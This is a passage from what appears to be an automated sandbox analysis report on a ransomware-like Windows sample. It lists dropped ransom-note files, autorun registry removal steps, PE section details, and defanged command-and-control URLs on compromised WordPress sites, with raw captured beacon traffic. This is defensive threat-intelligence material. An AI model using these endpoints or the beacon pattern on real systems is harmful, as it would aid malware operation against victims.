%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\11\restore_files_woyft.html (5 bytes)
%System%\config\SOFTWARE.LOG (4934 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\Install\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Flash Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\38\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\S96BCDQ7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\winword.doc (426 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\16\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temp\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\16\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\31\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Color\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\1\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Videos\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\42\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\24\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Favorites\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\47\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg (502 bytes)
%Documents and Settings%\LocalService\Local Settings\Temp\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\Certificates\restore_files_woyft.txt (2 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "C"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"helper_xgcv" = "%Documents and Settings%\%current user%\Application Data\vcwhqj.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Static Analysis
VersionInfo
Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: Language Neutral
Company Name: Product Name: Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: Language: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 58924 | 61440 | 4.09673 | 8c8e36eb51a81b7da8eed077971cca73 |
.rdata | 65536 | 1104 | 4096 | 1.412 | 236eb47ab48ae8fad09193b9b9df914c |
.data | 69632 | 2142368 | 4096 | 0.1661 | 9c479fd863bc689afbe8a848bface6c3 |
.rsrc | 2215936 | 43608 | 45056 | 3.48171 | 8fc6d16715809665f0002b34dfb1d412 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://ipinfo.io/ip | 52.29.208.252 |
hxxp://myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC | |
hxxp://prettybaked.pl/wp-content/plugins/share-buttons-wp/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846B999981BED622AFC527FFFBFDF3B75348B7B53F5AB7EC7F88A285FBCD1C1141CD0290D5D8AB7387B98B4B7F112962B240F6AFC3869291532EE3A728E35B3A333EE7332751E06FA1225C3B56E701EF738B621742AF0CCCBF73CCD905EE8AC3271317B48C738C4826C7FF81BBEAE00ECD | 185.23.21.169 |
hxxp://majowy.info/wp-content/plugins/wp-handy-lightbox/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0BAD3B3F82CBF372FFC2041BB80D5A5F0800EB4252C6AA835538C909DACE6B2E023834217091840AC9CB180F22DFB68F310B21D4B3FCEA5792BCBEBA4DAB9420F | 79.96.20.98 |
hxxp://bostonhygiene.com/wp-content/plugins/quick-setup/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0C2B95EE0C3EB43E7D3D4F5BF27ACE8778220C7D37FF1F51911E022F4759AA545D7683E1FA3311AF3C2325B075DFD4B6CAD0D43A413808A0C829FEE08A5DF3720 | 204.11.56.48 |
hxxp://myconsulting.es/wp-content/plugins/post-notification/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C28DFD28A1C511AB93DD430BAAEAE42BF882659A4A0D9BC3749E862938F737F4DE4F7AFF3D8A2AFA20E885CEA76086A44995F44749E0AC70A9CFCE027919CA985818791194AB94D2635BE6A15FDA597286 | |
hxxp://prettybaked.pl/wp-content/plugins/share-buttons-wp/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2D075AF8B8200893DF6CB2CE1BA42320F1CD697021095F3BAC0B6E7501B626D3F6CCEA67FFBD212F6A09E4EE950085A384DB9B89944FE4421C59B70FD8312D01A | 185.23.21.169 |
hxxp://majowy.info/wp-content/plugins/wp-handy-lightbox/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2B6A4C49C51E7FDA33B4C4B332FA44DFC85F107174D1175843EE546C0254CCD03ED067E9788149E979AF785F272D934E5D27FEF452E871B2C96EF5A506A0EFA5D | 79.96.20.98 |
hxxp://bostonhygiene.com/wp-content/plugins/quick-setup/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2AF56D3239F7BC16FFD1937B4F8BD7BB82C1BD15207835A3BA152688884D6C55DB107DA2DBA6C1AFF9F2D476AB53FBACD141F07890B931FD135CD84D72F26B50AA62E89122264FD9D2A47297D484D4B1F | 204.11.56.48 |
hxxp://www.myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /wp-content/plugins/share-buttons-wp/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846B999981BED622AFC527FFFBFDF3B75348B7B53F5AB7EC7F88A285FBCD1C1141CD0290D5D8AB7387B98B4B7F112962B240F6AFC3869291532EE3A728E35B3A333EE7332751E06FA1225C3B56E701EF738B621742AF0CCCBF73CCD905EE8AC3271317B48C738C4826C7FF81BBEAE00ECD HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: prettybaked.pl
Connection: Keep-Alive
HTTP/1.1 404 Not Found
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Link: <hXXp://prettybaked.pl/wp-json/>; rel="hXXps://api.w.org/"
Transfer-Encoding: chunked
Date: Wed, 15 Jun 2016 10:33:33 GMT
Accept-Ranges: bytes
Server: LiteSpeed
Connection: close
2000..<!DOCTYPE html>.<html lang="pl-PL">.<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1">. <title>Strona nie zosta..a znaleziona | PrettyBaked</title>. <link rel="profile" href="hXXp://gmpg.org/xfn/11">. <link rel="pingback" href="hXXp://prettybaked.pl/xmlrpc.php">. <link rel="alternate" type="application/rss xml" title="PrettyBaked » Kana.. z wpisami" href="hXXp://prettybaked.pl/index.php/feed/" />.<link rel="alternate" type="application/rss xml" title="PrettyBaked » Kana.. z komentarzami" href="hXXp://prettybaked.pl/index.php/comments/feed/" />...<script type="text/javascript">....window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/72x72\/","ext":".png","source":{"concatemoji":"http:\/\/prettybaked.pl\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.5.1"}};....!function(a,b,c){function d(a){var c,d,e,f=b.createElement("canvas"),g=f.getContext&&f.getContext("2d"),h=String.fromCharCode;if(!g||!g.fillText)return!1;switch(g.textBaseline="top",g.font="600 32px Arial",a){case"flag":return g.fillText(h(55356,56806,55356,56826),0,0),f.toDataURL().length>3e3;case"diversity":return g.fillText(h(55356,57221),0,0),c=g.getImageData(16,16,1,1).data,d=c[0] "," c[1] "," c[2] "," c[3],g.fillText(h(55356,57221,55356,57343),0,0),c=g.getImageData(16,16,1,1).data,e=c[0] "," c[1] "," c[2] "," c[3],d!==e;case"simple":return g.fillText(h(55357,56835),0,
<<< skipped >>>
GET /wp-content/plugins/quick-setup/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B608423B2782E2297C33A56358BBBCA48113525DE270B03F89CCE1977A566EBF443F713DE571CE2FF4B450A94510E4C24D5A0C2B95EE0C3EB43E7D3D4F5BF27ACE8778220C7D37FF1F51911E022F4759AA545D7683E1FA3311AF3C2325B075DFD4B6CAD0D43A413808A0C829FEE08A5DF3720 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: bostonhygiene.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 10:33:35 GMT
Server: Apache
Set-Cookie: vsid=925vr2135324151106820; expires=Mon, 14-Jun-2021 10:33:35 GMT; path=/; domain=bostonhygiene.com; httponly
Expires: Mon, 22 Jul 2002 11:12:01 GMT
Cache-Control: private, no-cache
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 802
Keep-Alive: timeout=5, max=84
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<html><head><meta http-equiv="refresh" content="0;url=http://ww2.bostonhygiene.com/?folio=9POR7JU99" /><META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE,NO_STORE"><META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"/>....<META HTTP-EQUIV="EXPIRES" CONTENT="Mon, 22 Jul 2002 11:12:01 GMT"/></head><body onbeforeunload="" onunload=""><script language='javascript' type='text/javascript'>try.....{..... var rurl = 'hXXp://ww2.bostonhygiene.com/?folio=9POR7JU99'......window.top.location.replace(rurl);.....} catch(exception) {......document.write("This page has moved, <A HREF='http://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click here</A> to go there.");.....}</script><noscript>This page has moved, <A HREF='hXXp://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click here</A> to go there.</noscript></body></html>..
GET /wp-content/plugins/quick-setup/misc.php?708A7086F6E5A644B7326A22488FF4A1F79487A2A64F8A9528570DBC7C19E3FEA1921EE044881DCFFB4BDEE62AEFA6647F4170BFB5372776B8FE99974009A4EFD1DB1E0E741E3E9CFF10D3CB7926750D0D1FD35E9D365A4E506A81C5AB31BD088584DFBF6A19A9806BA463ED69997BB20A9A5D8A32E48A48D66B7C17F519D8398A98DC6C96AA78DC349F8EF7707516A8311EF7F2354DBB0DD32D15C198877E47A4DB24FD882574AD8DC3139E366C400335A724C08DFC37FFE07C9978851A80DF708607DBB6EC1F818EF8E8BF688B1B54FD17C55A7D492018F98288F1E45F6E2053FCE6923A3755D9AF87A7B0BB1434BFF015446D7CE5E5597D8D3BEE57058E0FC48BF2E149F5F5F1BEE098F3B86253D66D2D7F07785429D9F9331C7FC12982C2AF56D3239F7BC16FFD1937B4F8BD7BB82C1BD15207835A3BA152688884D6C55DB107DA2DBA6C1AFF9F2D476AB53FBACD141F07890B931FD135CD84D72F26B50AA62E89122264FD9D2A47297D484D4B1F HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: bostonhygiene.com
Connection: Keep-Alive
Cookie: vsid=925vr2135324151106820
HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 10:33:49 GMT
Server: Apache
Expires: Mon, 22 Jul 2002 11:12:01 GMT
Cache-Control: private, no-cache
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 802
Keep-Alive: timeout=5, max=113
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<html><head><meta http-equiv="refresh" content="0;url=http://ww2.bostonhygiene.com/?folio=9POR7JU99" /><META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE,NO_STORE"><META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"/>....<META HTTP-EQUIV="EXPIRES" CONTENT="Mon, 22 Jul 2002 11:12:01 GMT"/></head><body onbeforeunload="" onunload=""><script language='javascript' type='text/javascript'>try.....{..... var rurl = 'hXXp://ww2.bostonhygiene.com/?folio=9POR7JU99'......window.top.location.replace(rurl);.....} catch(exception) {......document.write("This page has moved, <A HREF='http://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click here</A> to go there.");.....}</script><noscript>This page has moved, <A HREF='hXXp://ww2.bostonhygiene.com/?folio=9POR7JU99'>Click here</A> to go there.</noscript></body></html>..
GET /wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Host: myconsulting.es
Connection: Keep-Alive
HTTP/1.1 301 Moved Permanently
Date: Wed, 15 Jun 2016 10:43:00 GMT
Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4
X-Powered-By: PHP/5.4.36
Vary: Cookie
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Set-Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf; path=/
Location: hXXp://VVV.myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
HTTP/1.1 301 Moved Permanently..Date: Wed, 15 Jun 2016 10:43:00 GMT..Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4..X-Powered-By: PHP/5.4.36..Vary: Cookie..Expires: Wed, 11 Jan 1984 05:00:00 GMT..Cache-Control: no-cache, must-revalidate, max-age=0..Pragma: no-cache..Set-Cookie: PHPSESSID=7228bb0d7cd3fb5e36e5ce30191d89bf; path=/..Location: hXXp://VVV.myconsulting.es/wp-content/plugins/post-notification/misc.php?1658F5E327B863B9B881FF57F2E1B522B2AB8EE444C282D8F798D8A4FC63963F31115D9BF60D086CAC2C1772C2E0AF7A34397FA7C9B9564CA1A07948005CE338FA335793A7D9C4D7AD9A9F279BE174342F354695651E94AAD094B32481FDDA693C26F0DEEBCACE204CE8A482DE934783B65B08F82EDDDAF9B2AA09D55D05379D038CCB30242F5664F1793205CD60A0F1D2DD8443EEC1D195441881B0AE429D0960754463B02FFDF15052C539CE45C055E67473A697659958C952EC58F4C235481B3543F608A14E62533FAC18C715AB4CC1D8E8F28FBCA32080049B6A4F609354B581BA046946D8A6E397213AA61B60846BBCE90EE6C3E9F357BB3571C7493362BD844EF15D98E53081BF469FD2F67E581E97367F84B0989F2DD64D21763D94EB5E40E50ACEE57A194E0C11F08B49A62047CD1806DA866B37ABC555D9F352D62C08B0D0F1BC22843B3C87AEFF05B01C13DAAEF0DD6CE36C2A01B31E90D75B20BC..Content-Length: 0..Keep-Alive: timeout=5, max=100..Connection: Keep-Alive..Content-Type: text/html; charset=UTF-8..
<<< skipped >>>
GET /ip HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: ipinfo.io
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Date: Wed, 15 Jun 2016 10:33:27 GMT
Server: nginx/1.6.2
Set-Cookie: first_referrer=; Path=/
Content-Length: 15
Connection: keep-alive
194.242.96.218.HTTP/1.1 200 OK..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 15 Jun 2016 10:33:27 GMT..Server: nginx/1.6.2..Set-Cookie: first_referrer=; Path=/..Content-Length: 15..Connection: keep-alive..194.242.96.218...
